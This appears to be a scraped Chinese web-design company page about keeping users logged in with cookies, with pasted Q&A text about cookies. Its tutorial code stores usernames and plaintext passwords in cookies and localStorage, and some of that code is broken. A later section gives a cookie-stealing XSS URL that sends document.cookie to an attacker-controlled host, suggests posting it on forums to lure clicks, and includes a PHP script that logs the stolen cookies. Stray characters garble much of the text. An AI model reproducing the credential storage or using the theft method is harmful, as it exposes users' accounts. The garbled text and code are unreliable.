新聞中心
在現(xiàn)如今的互聯(lián)網(wǎng)時(shí)代,我們幾乎每天都要登錄各種網(wǎng)站,這無(wú)疑給我們的生活帶來(lái)了很大的便利。但是,頻繁的登錄也會(huì)給我們的體驗(yàn)帶來(lái)不必要的繁瑣。因此,通過實(shí)現(xiàn)網(wǎng)站記住登錄狀態(tài),讓用戶可以在下一次訪問網(wǎng)站時(shí)無(wú)需再次登錄,不僅可以增強(qiáng)用戶體驗(yàn),還可以提高網(wǎng)站的粘性。本文將介紹如何將cookie存入本地?cái)?shù)據(jù)庫(kù),實(shí)現(xiàn)網(wǎng)站記住登錄狀態(tài)。

創(chuàng)新互聯(lián)公司擁有10年的建站服務(wù)經(jīng)驗(yàn),在此期間,我們發(fā)現(xiàn)較多的客戶在挑選建站服務(wù)商前都非常的猶豫。主要問題集中:在無(wú)法預(yù)知自己的網(wǎng)站呈現(xiàn)的效果是什么樣的?也無(wú)法判斷選擇的服務(wù)商設(shè)計(jì)出來(lái)的網(wǎng)頁(yè)效果自己是否會(huì)滿意?創(chuàng)新互聯(lián)公司業(yè)務(wù)涵蓋了互聯(lián)網(wǎng)平臺(tái)網(wǎng)站建設(shè)、移動(dòng)平臺(tái)網(wǎng)站制作、網(wǎng)絡(luò)推廣、定制網(wǎng)站等服務(wù)。創(chuàng)新互聯(lián)公司網(wǎng)站開發(fā)公司本著不拘一格的網(wǎng)站視覺設(shè)計(jì)和網(wǎng)站開發(fā)技術(shù)相結(jié)合,為企業(yè)做網(wǎng)站提供成熟的網(wǎng)站設(shè)計(jì)方案。
一、什么是Cookie?
Cookie是HTTP協(xié)議中的一種機(jī)制,它是由服務(wù)器發(fā)給客戶端的小數(shù)據(jù)文件,存儲(chǔ)在本地,用于記錄用戶在網(wǎng)站上的訪問狀態(tài)、身份識(shí)別、購(gòu)物車等信息。隨著網(wǎng)頁(yè)的載入,瀏覽器會(huì)將存儲(chǔ)在本地的Cookie發(fā)送給服務(wù)器,從而實(shí)現(xiàn)對(duì)用戶的識(shí)別。
Cookie以鍵值對(duì)的形式存在,通常包含如下幾個(gè)屬性:名稱、值、到期時(shí)間、路徑、域、安全標(biāo)志等。其中,名稱和值是必須存在的屬性,其余幾個(gè)屬性都是可選的。
二、Cookie在實(shí)現(xiàn)網(wǎng)站記住登錄狀態(tài)中的應(yīng)用
在實(shí)現(xiàn)網(wǎng)站記住登錄狀態(tài)中,我們需要用到Cookie的持久化存儲(chǔ)。Cookie的持久化存儲(chǔ)是指Cookie在瀏覽器關(guān)閉后依舊保留,直到到期時(shí)間到達(dá)才會(huì)被刪除。對(duì)于持久化存儲(chǔ),我們可以通過設(shè)置Cookie的到期時(shí)間,將其存儲(chǔ)在本地,從而實(shí)現(xiàn)下次用戶訪問時(shí)無(wú)需再次登錄。
在使用Cookie實(shí)現(xiàn)網(wǎng)站記住登錄狀態(tài)時(shí),需要將用戶的登錄信息存儲(chǔ)在Cookie中,并將其存儲(chǔ)至本地?cái)?shù)據(jù)庫(kù)中。具體步驟如下:
1. 獲取用戶登錄信息并生成Cookie
當(dāng)用戶登錄成功后,我們需要獲取用戶的登錄信息(例如:用戶名、密碼、用戶id等信息),并構(gòu)造一個(gè)包含這些信息的Cookie。下面是一個(gè)構(gòu)造Cookie的例子:
“`
var expireDate = new Date();
expireDate.setDate(expireDate.getDate() + 1); // 設(shè)置Cookie的到期時(shí)間為一天后
document.cookie = ‘username=’ + encodeURIComponent(username) + ‘; expiresIn=’ + expireDate.toUTCString() + ‘; path=/;’;
document.cookie = ‘password=’ + encodeURIComponent(password) + ‘; expiresIn=’ + expireDate.toUTCString() + ‘; path=/;’;
“`
在上面的代碼中,我們創(chuàng)建了一個(gè)Javascript中的Date對(duì)象,將其設(shè)置為Cookie到期的時(shí)間。然后,我們通過document.cookie生成Cookie,將其存儲(chǔ)在本地,同時(shí)指定path屬性為’/’,表示所有的網(wǎng)頁(yè)都可以訪問該Cookie。
2. 存儲(chǔ)Cookie到本地?cái)?shù)據(jù)庫(kù)
接下來(lái),我們需要將Cookie存儲(chǔ)到本地?cái)?shù)據(jù)庫(kù)中,以便下次用戶訪問時(shí)可以直接讀取Cookie。這里,我們可以使用Web Storage API中的localStorage或sessionStorage,將Cookie存儲(chǔ)到本地?cái)?shù)據(jù)庫(kù)中。下面是一個(gè)使用localStorage存儲(chǔ)Cookie的例子:
“`
localStorage.setItem(‘username’, username);
localStorage.setItem(‘password’, password);
localStorage.setItem(‘expiresIn’, expireDate.toUTCString());
“`
在上面的代碼中,我們使用localStorage.setItem()方法將Cookie信息存儲(chǔ)到本地?cái)?shù)據(jù)庫(kù)中。具體來(lái)說,我們將用戶名、密碼和到期時(shí)間分別存儲(chǔ)在localStorage中。
3. 讀取本地?cái)?shù)據(jù)庫(kù)中的Cookie
在下一次用戶訪問網(wǎng)站時(shí),我們需要讀取本地?cái)?shù)據(jù)庫(kù)中存儲(chǔ)的Cookie,并將其發(fā)送給服務(wù)器認(rèn)證用戶身份。下面是一個(gè)讀取localStorage中Cookie的例子:
“`
var username = localStorage.getItem(‘username’);
var password = localStorage.getItem(‘password’);
var expiresIn = localStorage.getItem(‘expiresIn’);
var now = new Date();
if (now
// 用戶登錄狀態(tài)仍有效,可以直接發(fā)送Cookie給服務(wù)器
document.cookie = ‘username=’ + encodeURIComponent(username) + ‘; path=/;’;
document.cookie = ‘password=’ + encodeURIComponent(password) + ‘; path=/;’;
}
“`
在上面的代碼中,我們通過localStorage.getItem()方法讀取localStorage中存儲(chǔ)的信息,得到用戶名、密碼和到期時(shí)間。如果當(dāng)前時(shí)間仍舊在到期時(shí)間之前,說明用戶的登錄狀態(tài)仍舊有效,我們就可以直接發(fā)送Cookie給服務(wù)器。
4. 刪除本地?cái)?shù)據(jù)庫(kù)中的Cookie
當(dāng)用戶退出登錄后,我們需要?jiǎng)h除本地?cái)?shù)據(jù)庫(kù)中存儲(chǔ)的Cookie。下面是一個(gè)使用localStorage刪除Cookie的例子:
“`
localStorage.removeItem(‘username’);
localStorage.removeItem(‘password’);
localStorage.removeItem(‘expiresIn’);
“`
在上面的代碼中,我們通過localStorage.removeItem()方法刪除localStorage中存儲(chǔ)的用戶名、密碼和到期時(shí)間。
三、
通過將Cookie存儲(chǔ)到本地?cái)?shù)據(jù)庫(kù)中,我們可以實(shí)現(xiàn)網(wǎng)站記住登錄狀態(tài)的功能。這不僅可以提高用戶體驗(yàn),還可以增強(qiáng)網(wǎng)站的粘性。需要注意的是,在使用Cookie存儲(chǔ)用戶信息時(shí),我們需要加密用戶信息,以保證用戶信息的安全性。另外,為防止惡意攻擊,我們需要設(shè)置Cookie的過期時(shí)間,并且在每次訪問時(shí)檢查Cookie的到期時(shí)間,判斷用戶的登錄狀態(tài)是否有效。
相關(guān)問題拓展閱讀:
- cookie里面保存的什么內(nèi)容,占空間大嗎?能否清楚
- cookie是什么意思?
- 安卓cookie,cookie是什么?cookie是什么
cookie里面保存的什么內(nèi)容,占空間大嗎?能否清楚
就是你瀏覽網(wǎng)頁(yè)的內(nèi)容及一些你登錄論壇什么的密碼沒巧胡的內(nèi)容,主寬知要是為了方面下一次瀏覽該網(wǎng)頁(yè)加載速度快些,建議經(jīng)常清楚,時(shí)間久了會(huì)占很大空間,再說枯攔也不是很安全。
另請(qǐng)參閱Cookies。
Cookie,有時(shí)也用其復(fù)數(shù)形式Cookies,指某些網(wǎng)站為了辨別用戶身份而儲(chǔ)存在用戶本地終端上的數(shù)據(jù)(通常經(jīng)過加密)。定義于RFC2109。它是網(wǎng)景公司的前雇員Lou Montulli在1993年3月的發(fā)明。用途
服務(wù)器可以利用Cookies包含信息的任意性來(lái)篩選并經(jīng)常性維護(hù)這些信息,以判斷在HTTP傳輸中的狀態(tài)。Cookies最典型的應(yīng)用是判定注冊(cè)用戶是否已經(jīng)登錄網(wǎng)站,用戶可能會(huì)得到提示,是否在下一次進(jìn)入此網(wǎng)站時(shí)保留用戶信息以便簡(jiǎn)化登錄手續(xù),這些都是Cookies的功用。另一個(gè)重要應(yīng)用場(chǎng)合是“購(gòu)物車”之類處理。用戶可能會(huì)在一段時(shí)間內(nèi)在同一家網(wǎng)站的不同頁(yè)面中選擇不同的商品,這些信息都會(huì)寫入Cookies,以便在最后付款孝喚時(shí)提取信息。
使用和禁用Cookie
用戶可以改變?yōu)g覽器的設(shè)置,以使用或者禁用Cookies。
微軟 Internet Explorer
工具 > Internet選項(xiàng) > 隱私頁(yè)
調(diào)節(jié)滑塊或者點(diǎn)擊“高級(jí)”,進(jìn)行設(shè)置.
Mozilla Firefox
工具 > 選項(xiàng) > 隱私
(注: 在Linux版本中,可能會(huì)是如下操作:編輯 > 屬性 > 隱私 , 而Mac則是:Firefox > 屬性 > 隱私)
設(shè)置Cookies選項(xiàng)
設(shè)定阻止/允許的各個(gè)域內(nèi)Cookie
查看Cookies管理窗口,檢查現(xiàn)存Cookie信息,選擇刪除或者阻止它們
蘋果計(jì)算機(jī) Safari
Safari > 預(yù)置 > 安全標(biāo)簽
選擇以下的選項(xiàng)
總是 接受 Cookies
永不 接受 Cookies
接受 Cookies 僅從您瀏覽的站點(diǎn) (例如,告胡不接受來(lái)自其它站點(diǎn)的廣告) 預(yù)設(shè)的選項(xiàng).
您可以顯示所有駐留在您瀏覽器中的 cookies,也可隨時(shí)將它們之一刪除。
Konqueror
如果沒有設(shè)置cookie列表,請(qǐng)記住在域名前面加入“.”,例如.baidu.org,否則百度將不會(huì)讀取cookie(針對(duì)KDE 3.3)。生存周期
Cookie可以保持登錄信息到用戶下次與服務(wù)器的會(huì)話,換句話說,下次訪問同一網(wǎng)站時(shí),用戶會(huì)發(fā)現(xiàn)不必輸入用戶名和密碼就已經(jīng)登錄了(當(dāng)然,不排除用戶手工刪除Cookie)。而還有一些Cookie在用戶退出會(huì)話的時(shí)候就被刪除了,這樣可以有效保護(hù)個(gè)人隱私。識(shí)別功能
如果在一臺(tái)計(jì)算機(jī)中安裝多個(gè)瀏覽器,每個(gè)瀏覽器都會(huì)獨(dú)立的空間存放cookie。因?yàn)閏ookie中不但可以確認(rèn)用戶,還能包含計(jì)算機(jī)和瀏覽器的信息,所以一個(gè)用戶用不同的瀏覽器登錄或者用不同的計(jì)算機(jī)登錄,都會(huì)得到不同的cookie信息,另一方面,對(duì)于在同一臺(tái)計(jì)算機(jī)上使用同一瀏覽器的多用戶群,cookie不會(huì)區(qū)分他們的身份,除非他們使用不同的用戶名登錄。
反對(duì)cookies者
一些人反對(duì)cookie在網(wǎng)絡(luò)中的應(yīng)用,他們的理由如下:
識(shí)別不精確
參見上面的識(shí)別功能
隱私,安全和廣告
Cookies在某種程度上說已經(jīng)嚴(yán)重危及用戶的隱私和安全。其中的一種方法是:一些公司的高層人員為了某種目的(譬如市場(chǎng)調(diào)研)而訪問了從未去過的網(wǎng)站(通過搜索引擎查到的),而這些網(wǎng)站包含了一種叫做網(wǎng)頁(yè)臭蟲的圖片,該圖襪慎攔片透明,且只有一個(gè)象素大?。ㄒ员汶[藏),它們的作用是將所有訪問過此頁(yè)面的計(jì)算機(jī)寫入cookie。而后,電子商務(wù)網(wǎng)站將讀取這些cookie信息,并尋找寫入這些cookie的網(wǎng)站,隨即發(fā)送包含了針對(duì)這個(gè)網(wǎng)站的相關(guān)產(chǎn)品廣告的垃圾郵件給這些高級(jí)人員。
因?yàn)楦哂嗅槍?duì)性,使得這套系統(tǒng)行之有效,收到郵件的客戶或多或少表現(xiàn)出對(duì)產(chǎn)品的興趣。這些站點(diǎn)一旦寫入cookie并使其運(yùn)作,就可以從電子商務(wù)網(wǎng)站那里獲得報(bào)酬,以維系網(wǎng)站的生存。
鑒于隱藏的危害性,瑞典已經(jīng)通過對(duì)cookie立法,要求利用cookie的網(wǎng)站必須說明cookie的屬性,并且指導(dǎo)用戶如何禁用cookie。偷竊Cookie和腳本攻擊
盡管cookie沒有病毒那么危險(xiǎn),但它仍包含了一些敏感信息:用戶名,計(jì)算機(jī)名,使用的瀏覽器和曾經(jīng)訪問的網(wǎng)站。用戶不希望這些內(nèi)容泄漏出去,尤其是當(dāng)其中還包含有私人信息的時(shí)候。
這并非危言聳聽,一種名為Cross site scripting的工具可以達(dá)到此目的。在受到Cross site scripting攻擊時(shí),cookie盜賊和cookie毒藥將竊取內(nèi)容。一旦cookie落入攻擊者手中,它將會(huì)重現(xiàn)其價(jià)值。
cookie盜賊:搜集用戶cookie并發(fā)給攻擊者的黑客。攻擊者將利用cookie信息通過合法手段進(jìn)入用戶帳戶。
cookie毒藥:利用安全機(jī)制,攻擊者加入代碼從而改寫cookie內(nèi)容,以便持續(xù)攻擊。Cookies的替代品
鑒于cookie的局限和反對(duì)者的聲音,有如下一些替代方法:
Brownie方案,是一項(xiàng)開放源代碼工程,由SourceForge發(fā)起。Brownie曾被用以共享在不同域中的接入,而cookies則被構(gòu)想成單一域中的接入。這項(xiàng)方案已經(jīng)停止開發(fā)。
P,用以讓用戶獲得更多控制個(gè)人隱私權(quán)利的協(xié)議。在瀏覽網(wǎng)站時(shí),它類似于cookie。
在與服務(wù)器傳輸數(shù)據(jù)時(shí),通過在地址后面添加唯一查詢串,讓服務(wù)器識(shí)別是否合法用戶,也可以避免使用cookie。cookie的具體含義
cookie 歷來(lái)指就著牛奶一起吃的點(diǎn)心。然而,在因特網(wǎng)內(nèi),“cookie”這個(gè)字有了完全不同的意思。那么“cookie”到底是什么呢?“Cookie”是小量信息,由網(wǎng)絡(luò)服務(wù)器發(fā)送出來(lái)以存儲(chǔ)在網(wǎng)絡(luò)瀏覽器上,從而下次這位獨(dú)一無(wú)二的訪客又回到該網(wǎng)絡(luò)服務(wù)器時(shí),可從該瀏覽器讀回此信息。這是很有用的,讓瀏覽器記住這位訪客的特定信息,如上次訪問的位置、花費(fèi)的時(shí)間或用戶首選項(xiàng)(如樣式表)。Cookie 是個(gè)存儲(chǔ)在瀏覽器目錄的文本文件,當(dāng)瀏覽器運(yùn)行時(shí),存儲(chǔ)在 RAM 中。一旦閣下從該網(wǎng)站或網(wǎng)絡(luò)服務(wù)器退出,Cookie 也可存儲(chǔ)在計(jì)算機(jī)的硬驅(qū)上。I3I.net的打算是,當(dāng)訪客結(jié)束其瀏覽器對(duì)話時(shí),即終止I3I.net的所有 cookie。
Cookie 有哪些用途?
Cookie 的用途之一是存儲(chǔ)用戶在特定網(wǎng)站上的密碼和 ID。另外,也用于存儲(chǔ)起始頁(yè)的首選項(xiàng)。在提供個(gè)人化查看的網(wǎng)站上,將要求閣下的網(wǎng)絡(luò)瀏覽器利用閣下計(jì)算機(jī)硬驅(qū)上的少量空間來(lái)儲(chǔ)存這些首選項(xiàng)。這樣,每次閣下登錄該網(wǎng)站時(shí),閣下的瀏覽器將檢查閣下是否就該唯一的服務(wù)器有任何預(yù)先定義的首選項(xiàng)(cookie)。如果有的話,瀏覽器將此 cookie 隨閣下對(duì)網(wǎng)頁(yè)的請(qǐng)求一起發(fā)送給服務(wù)器。Microsoft 和 Netscape 使用 cookie 在其網(wǎng)站上創(chuàng)建個(gè)人起始頁(yè)。各家公司利用 cookie 的一般用途包括:在線定貨系統(tǒng)、網(wǎng)站個(gè)人化和網(wǎng)站跟蹤。
網(wǎng)站個(gè)人化是 cookie 最有益的用途之一。例如,當(dāng)誰(shuí)來(lái)到 CNN 網(wǎng)站,但并不想查看任何商務(wù)新聞。網(wǎng)站允許他將該項(xiàng)選為選項(xiàng)。從那時(shí)起(或者直到 cookie 逾期),他在訪問 CNN 網(wǎng)頁(yè)時(shí)將不會(huì)讀到商務(wù)新聞。
這些 Cookie 是如何起作用的?
文檔的 HTML 代碼中的命令行告訴瀏覽器設(shè)置某一名稱或數(shù)值的 cookie。以下是用來(lái)設(shè)置 cookie 腳本的一個(gè)普通實(shí)例。
Set-Cookie: name = VALUE;
expires = DATE;
path = PATH;
domain = DOMAIN_NAME;
那么安全性如何?HTTP Cookie 不能用來(lái)從閣下的硬驅(qū)上檢索個(gè)人數(shù)據(jù)、放置病毒、得到閣下的電子郵件地址或偷竊有關(guān)閣下身份的敏感信息;然而,HTTP Cookie 可用來(lái)跟蹤閣下在特定網(wǎng)站上的所到之處。不使用 cookie 就很難進(jìn)行網(wǎng)站跟蹤。
至于其他一切與因特網(wǎng)有關(guān)的事,如同閣下所希望的那樣是匿名的。沒有網(wǎng)站知道閣下是誰(shuí),除非閣下自己透露給網(wǎng)站。同時(shí),cookie 只是為了更好地了解使用模式并改進(jìn)網(wǎng)站訪客的效率而采用的一個(gè)網(wǎng)站跟蹤統(tǒng)計(jì)手段而已。
如果網(wǎng)站設(shè)計(jì)師旨在使網(wǎng)頁(yè)能與訪客更具互動(dòng)作用,或者若設(shè)計(jì)師計(jì)劃讓訪客自定義網(wǎng)站的外觀,則就需要使用 cookie。而且,如果閣下想要網(wǎng)站在某些情況下改變其外觀,cookie 則提供了一條快速、容易的途徑,讓閣下的 HTML 頁(yè)面按需要而改變。最新型的服務(wù)器使用 cookie 有助于數(shù)據(jù)庫(kù)的互動(dòng)性,進(jìn)而改進(jìn)網(wǎng)站的整體互動(dòng)性。
Cookie在英文中是小甜品的意思,而這個(gè)詞我們總能在瀏覽器中看到,食品怎么會(huì)跟瀏覽器扯上關(guān)系呢?在你瀏覽以前登陸過的網(wǎng)站時(shí)可能會(huì)在網(wǎng)頁(yè)中出現(xiàn):你好XX,感覺很親切,就好像是吃了一個(gè)小甜品一樣。這其實(shí)是通過訪問你主機(jī)里邊的一個(gè)文件來(lái)實(shí)現(xiàn)的,因此這個(gè)文件也就被稱為了Cookie。想全面了解Cookie嗎?看看下文吧!
一.了解Cookie 適用對(duì)象:初級(jí)讀者
Cookie是當(dāng)你瀏覽某網(wǎng)站時(shí),網(wǎng)站存儲(chǔ)在你機(jī)器上的一個(gè)小文本文件,它記錄了你的用戶ID,密碼、瀏覽過的網(wǎng)頁(yè)、停留的時(shí)間等信息,當(dāng)你再次來(lái)到該網(wǎng)站時(shí),網(wǎng)站通過讀取Cookie,得知你的相關(guān)信息,就可以做出相應(yīng)的動(dòng)作,如在頁(yè)面顯示歡迎你的標(biāo)語(yǔ),或者讓你不用輸入ID、密碼就直接登錄等等。你可以在IE的“工具/Internet選項(xiàng)”的“常規(guī)”選項(xiàng)卡中,選擇“設(shè)置/查看文件”,查看所有保存到你電腦里的Cookie。這些文件通常是以u(píng)ser@domain格式命名的,user是你的本地用戶名,domain是所訪問的網(wǎng)站的域名。如果你使用NetsCape瀏覽器,則存放在“C:\PROGRAMFILES\NETSCAPE\USERS\”里面,與IE不同的是,NETSCAPE是使用一個(gè)Cookie 文件記錄所有網(wǎng)站的Cookies。
為了保證上網(wǎng)安全我們需要對(duì)Cookie進(jìn)行適當(dāng)設(shè)置。打開“工具/Internet選項(xiàng)”中的“隱私”選項(xiàng)卡(注意該設(shè)置只在IE6.0中存在,其他版本IE可以在“工具/Internet選項(xiàng)”的“安全”標(biāo)簽中單擊“自定義級(jí)別”按鈕,進(jìn)行簡(jiǎn)單調(diào)整),調(diào)整Cookie的安全級(jí)別。通常情況,可以將滑塊調(diào)整到“中高”或者“高”的位置。多數(shù)的論壇站點(diǎn)需要使用Cookie信息,如果你從來(lái)不去這些地方,可以將安全級(jí)調(diào)到“阻止所有Cookies”。如果只是為了禁止個(gè)別網(wǎng)站的Cookie,可以單擊“編輯”按鈕,將要屏蔽的網(wǎng)站添加到列表中。在“高級(jí)”按鈕選項(xiàng)中,你可以對(duì)之一方Cookie和第三方的Cookie進(jìn)行設(shè)置,之一方Cookie是你正在瀏覽的網(wǎng)站的Cookie,第三方Cookie非正在瀏覽的網(wǎng)站發(fā)給你的Cookie,通常要對(duì)第三方Cookie選擇“拒絕”,如圖1。你如果需要保存Cookie,可以使用IE的“導(dǎo)入導(dǎo)出”功能,打開“文件/導(dǎo)入導(dǎo)出”,按提示操作即可。
Cookie中的內(nèi)容大多數(shù)經(jīng)過了加密處理,因此在我們看來(lái)只是一些毫無(wú)意義的字母數(shù)字組合,只有服務(wù)器的CGI處理程序才知道它們真正的含義。通過一些軟件我們可以查看到更多的內(nèi)容,使用Cookie Pal軟件查看到的Cookie信息,如圖2所示。它為我們提供了Server、Expires、Name、value等選項(xiàng)的內(nèi)容。其中,Server是存儲(chǔ)Cookie的網(wǎng)站,Expires記錄了Cookie的時(shí)間和生命期,Name和value字段則是具體的數(shù)據(jù)
二、Cookie的傳遞流程 適用對(duì)象:中級(jí)讀者
當(dāng)在瀏覽器地址欄中鍵入了一個(gè)Web站點(diǎn)的URL,瀏覽器會(huì)向該Web站點(diǎn)發(fā)送一個(gè)讀取網(wǎng)頁(yè)的請(qǐng)求,并將結(jié)果在顯示器上顯示。這時(shí)該網(wǎng)頁(yè)在你的電腦上尋找Amazon網(wǎng)站設(shè)置的Cookie文件,如果找到,瀏覽器會(huì)把Cookie文件中的數(shù)據(jù)連同前面輸入的URL一同發(fā)送到Amazon服務(wù)器。服務(wù)器收到Cookie數(shù)據(jù),就會(huì)在他的數(shù)據(jù)庫(kù)中檢索你的ID,你的購(gòu)物記錄、個(gè)人喜好等信息,并記錄下新的內(nèi)容,增加到數(shù)據(jù)庫(kù)和Cookie文件中去。如果沒有檢測(cè)到Cookie或者你的Cookie信息與數(shù)據(jù)庫(kù)中的信息不符合,則說明你是之一次瀏覽該網(wǎng)站,服務(wù)器的CGI程序?qū)槟銊?chuàng)建新的ID信息,并保存到數(shù)據(jù)庫(kù)中。
Cookie是利用了網(wǎng)頁(yè)代碼中的HTTP頭信息進(jìn)行傳遞的,瀏覽器的每一次網(wǎng)頁(yè)請(qǐng)求,都可以伴隨Cookie傳遞,例如,瀏覽器的打開或刷新網(wǎng)頁(yè)操作。服務(wù)器將Cookie添加到網(wǎng)頁(yè)的HTTP頭信息中,伴隨網(wǎng)頁(yè)數(shù)據(jù)傳回到你的瀏覽器,瀏覽器會(huì)根據(jù)你電腦中的Cookie設(shè)置選擇是否保存這些數(shù)據(jù)。如果瀏覽器不允許Cookie保存,則關(guān)掉瀏覽器后,這些數(shù)據(jù)就消失。Cookie在電腦上保存的時(shí)間是不一樣的,這些都是由服務(wù)器的設(shè)置不同決定得。Cookie有一個(gè)Expires(有效期)屬性,這個(gè)屬性決定了Cookie的保存時(shí)間,服務(wù)器可以通過設(shè)定Expires字段的數(shù)值,來(lái)改變Cookie的保存時(shí)間。如果不設(shè)置該屬性,那么Cookie只在瀏覽網(wǎng)頁(yè)期間有效,關(guān)閉瀏覽器,這些Cookie自動(dòng)消失,絕大多數(shù)網(wǎng)站屬于這種情況。通常情況下,Cookie包含Server、Expires、Name、value這幾個(gè)字段,其中對(duì)服務(wù)器有用的只是Name和value字段,Expires等字段的內(nèi)容僅僅是為了告訴瀏覽器如何處理這些Cookies。
三、Cookie的編程實(shí)現(xiàn) 適用對(duì)象:高級(jí)讀者
多數(shù)網(wǎng)頁(yè)編程語(yǔ)言都提供了對(duì)Cookie的支持。如javascript、VBScript、Delphi、ASP、SQL、PHP、C#等。在這些面向?qū)ο蟮木幊陶Z(yǔ)言中,對(duì)Cookie的編程利用基本上是相似的,大體過程為:先創(chuàng)建一個(gè)Cookie對(duì)象(Object),然后利用控制函數(shù)對(duì)Cookie進(jìn)行賦值、讀取、寫入等操作。那么如何通過代碼來(lái)獲取其他用戶Cookie中的敏感信息?下面進(jìn)行簡(jiǎn)單的介紹。
該方法主要有兩步,首先要定位你需要收集Cookie的網(wǎng)站,并對(duì)其進(jìn)行分析,并構(gòu)造URL;然后編制收集Cookie的PHP代碼,并將其放到你可以控制的網(wǎng)站上,當(dāng)不知情者單擊了你構(gòu)造的URL后可以執(zhí)行該P(yáng)HP代碼。下面我們看具體的實(shí)現(xiàn)過程。
1.分析并構(gòu)造URL
首先打開我們要收集Cookie的網(wǎng)站,這里假設(shè)是
,登陸網(wǎng)站輸入用戶名“”(不含引號(hào)),對(duì)數(shù)據(jù)進(jìn)行分析抓包,得到形如“
/txl/login/login….x=28&ok.y=6”的代碼,將“”更換為“”再試;如果執(zhí)行成功,就開始構(gòu)造URL:“
\”%2Bdocuments.cookie)&passwd=&ok.x=28&ok.y=6″ target=”_blank”>
/txl/login/log ;… swd=&ok.x=28&ok.y=6”。其中
就是你能夠控制的某臺(tái)主機(jī)上的一個(gè)腳本。需要注意的是“%2B”為符號(hào)“+”的URL編碼,因?yàn)椤?”將被作為空格處理。該URL就可以在論壇中發(fā)布,誘使別人點(diǎn)擊了。
2.編制PHP腳本
該腳本的作用就是收集Cookie文件,具體內(nèi)容如下:
$info = getenv(“QUERY_STRING”;
if ($info) {
$fp = fopen(“info.txt”,”a”;
fwrite($fp,$info.”\n”;
fclose($fp);
}
header(“Location:
\”;
?>
四、Cookie的安全問題 適用對(duì)象:所有希望上網(wǎng)安全的讀者
1.Cookie欺騙
Cookie記錄著用戶的帳戶ID、密碼之類的信息,如果在網(wǎng)上傳遞,通常使用的是MD5方法加密。這樣經(jīng)過加密處理后的信息,即使被網(wǎng)絡(luò)上一些別有用心的人截獲,也看不懂,因?yàn)樗吹降闹皇且恍o(wú)意義的字母和數(shù)字。然而,現(xiàn)在遇到的問題是,截獲Cookie的人不需要知道這些字符串的含義,他們只要把別人的Cookie向服務(wù)器提交,并且能夠通過驗(yàn)證,他們就可以冒充受害人的身份,登陸網(wǎng)站。這種方法叫做Cookie欺騙。Cookie欺騙實(shí)現(xiàn)的前提條件是服務(wù)器的驗(yàn)證程序存在漏洞,并且冒充者要獲得被冒充的人的Cookie信息。目前網(wǎng)站的驗(yàn)證程序要排除所有非法登錄是非常困難的,例如,編寫驗(yàn)證程序使用的語(yǔ)言可能存在漏洞。而且要獲得別人Cookie是很容易的,用支持Cookie的語(yǔ)言編寫一小段代碼就可以實(shí)現(xiàn)(具體方法見三),只要把這段代碼放到網(wǎng)絡(luò)里,那么所有人的Cookie都能夠被收集。如果一個(gè)論壇允許HTML代碼或者允許使用Flash標(biāo)簽就可以利用這些技術(shù)收集Cookie的代碼放到論壇里,然后給帖子取一個(gè)吸引人的主題,寫上有趣的內(nèi)容,很快就可以收集到大量的Cookie。在論壇上,有許多人的密碼就被這種方法盜去的。至于如何防范,目前還沒有特效藥,我們也只能使用通常的防護(hù)方法,不要在論壇里使用重要的密碼,也不要使用IE自動(dòng)保存密碼的功能,以及盡量不登陸不了解底細(xì)的網(wǎng)站。
2.Flash的代碼隱患
cookie是什么意思?
Cookie,有時(shí)也用其復(fù)數(shù)形式 Cookies,指某些網(wǎng)站為了辨別用戶身份、進(jìn)行 session 跟蹤而儲(chǔ)存在用戶本地終端上的數(shù)據(jù)(通常經(jīng)過加密)。定義于 RFC2109 和 2965 中的都已廢棄,最新取代櫻源租的規(guī)范是 RFC6265 。(可以叫做瀏覽器緩存)。
擴(kuò)展資料
基于 Internet的各種服務(wù)系統(tǒng)應(yīng)運(yùn)而生,建立商業(yè)站點(diǎn)或者功能比較完善的個(gè)人站點(diǎn),常常需要記錄訪問者的一些信息;論壇作為 Internet發(fā)展的產(chǎn)物之一,在 Internet 中發(fā)揮著越來(lái)越重要的作用,是用戶獲取、交流、傳遞信息的主要場(chǎng)所之一,裂族論壇常常也需要記錄訪問者的一些基本信息(如身份識(shí)別號(hào)碼、密碼、用戶在 Web 站點(diǎn)購(gòu)物的方式或用戶訪問該站點(diǎn)的次數(shù))。目前公認(rèn)的是,通過 Cookie 和 Session 技術(shù)來(lái)實(shí)現(xiàn)記錄訪問者的一些基本信息 。
Cookie 技術(shù)誕生以來(lái),它就成了廣大網(wǎng)絡(luò)用戶和 Web 開發(fā)人員爭(zhēng)論的一個(gè)焦點(diǎn)。有一些網(wǎng)絡(luò)用戶,甚至包括一些資深的 Web 專家也對(duì)它的產(chǎn)生和推廣感到不滿,這并不是因?yàn)?Cookie 技術(shù)的功能太弱或其他技術(shù)性能上的原因,而是因?yàn)?Cookie 的使用脊兆對(duì)網(wǎng)絡(luò)用戶的隱私構(gòu)成了危害。因?yàn)?Cookie 是由 Web 服務(wù)器保存在用戶瀏覽器上的小文本文件,它包含有關(guān)用戶的信息。
Cookie 技術(shù)產(chǎn)生源于 HTTP 協(xié)議在互聯(lián)網(wǎng)上的急速發(fā)展。隨著互聯(lián)網(wǎng)的深層次發(fā)展,帶寬等限制不存在了,人們需要更復(fù)雜的互聯(lián)網(wǎng)交互活動(dòng),就必須同服務(wù)器保持活動(dòng)狀態(tài)。
于是,在瀏覽器發(fā)展初期,為了適應(yīng)用戶的需求,技術(shù)上推出了各種保持 Web 瀏覽狀態(tài)的手段,其中就包括了 Cookie 技術(shù)。1993 年,網(wǎng)景公司雇員 Lou Montulli 為了讓用戶在訪問某網(wǎng)站時(shí),進(jìn)一步提高訪問速度,同時(shí)也為了進(jìn)一步實(shí)現(xiàn)個(gè)人化網(wǎng)絡(luò),發(fā)明了今天廣泛使用的 Cookie
參考資料:
百度百科-cookie
瀏覽器的Cookie是神數(shù)什么粗巧意思?為啥看見的廣告是我們搜索過的內(nèi)巖瞎鍵容?
